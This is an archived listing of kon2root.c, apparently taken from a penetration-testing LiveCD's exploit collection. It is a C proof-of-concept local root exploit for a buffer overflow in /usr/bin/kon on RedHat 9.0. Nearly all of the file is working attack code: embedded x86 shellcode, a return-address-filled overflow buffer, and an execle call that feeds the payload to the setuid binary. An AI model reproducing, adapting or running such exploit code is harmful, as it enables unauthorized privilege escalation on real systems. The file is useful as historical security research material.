home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kon2root.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  59 lines

  1. /*
  2.  * Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
  3.  *
  4.  * http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html
  5.  *
  6.  * The original bug was found by wszx for RedHat 8.0 - Ported to C
  7.  *
  8.  * Compile: gcc -Wall kon2root kon2root.c
  9.  *
  10.  */
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16.  
  17.  
  18. #define NOP      0x90
  19. #define RET      0xbffffffa
  20. #define VULN     "/usr/bin/kon"
  21. #define MAXBUF   800
  22.  
  23.  
  24. static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
  25. \x89"
  26.                            "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
  27. \x0c"
  28.                            "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
  29. \xdc\xff"
  30.                            "\xff\xff/bin/id";
  31.  
  32.  
  33. int main()
  34. {
  35.         int i, *egg;
  36.         long retaddr;
  37.         static char buff[MAXBUF];
  38.         static char *sploit[0x02] = { w00tI4r3l33t, NULL };
  39.  
  40.  
  41.         fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
  42. \n", VULN);
  43.         fprintf (stdout, "[ Coded by c0ntex  -  http://62.31.72.168 ]\n");
  44.         fprintf (stdout, "[ For Linux RedHat v9 x86  -  Ret_Addr
  45. 0xbffffffa ]\n\n\n\n");
  46.  
  47.         if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
  48. = 0x00) {
  49.                 egg = (int *)(buff);
  50.         }
  51.  
  52.         for(i = 0x00; i < MAXBUF; i += 0x04)
  53.         *(egg)++ = retaddr; *(egg) = NOP;
  54.  
  55.         execle(VULN, VULN, "-Coding", buff, NULL, sploit);
  56.  
  57.         return(0x00);
  58. }
  59.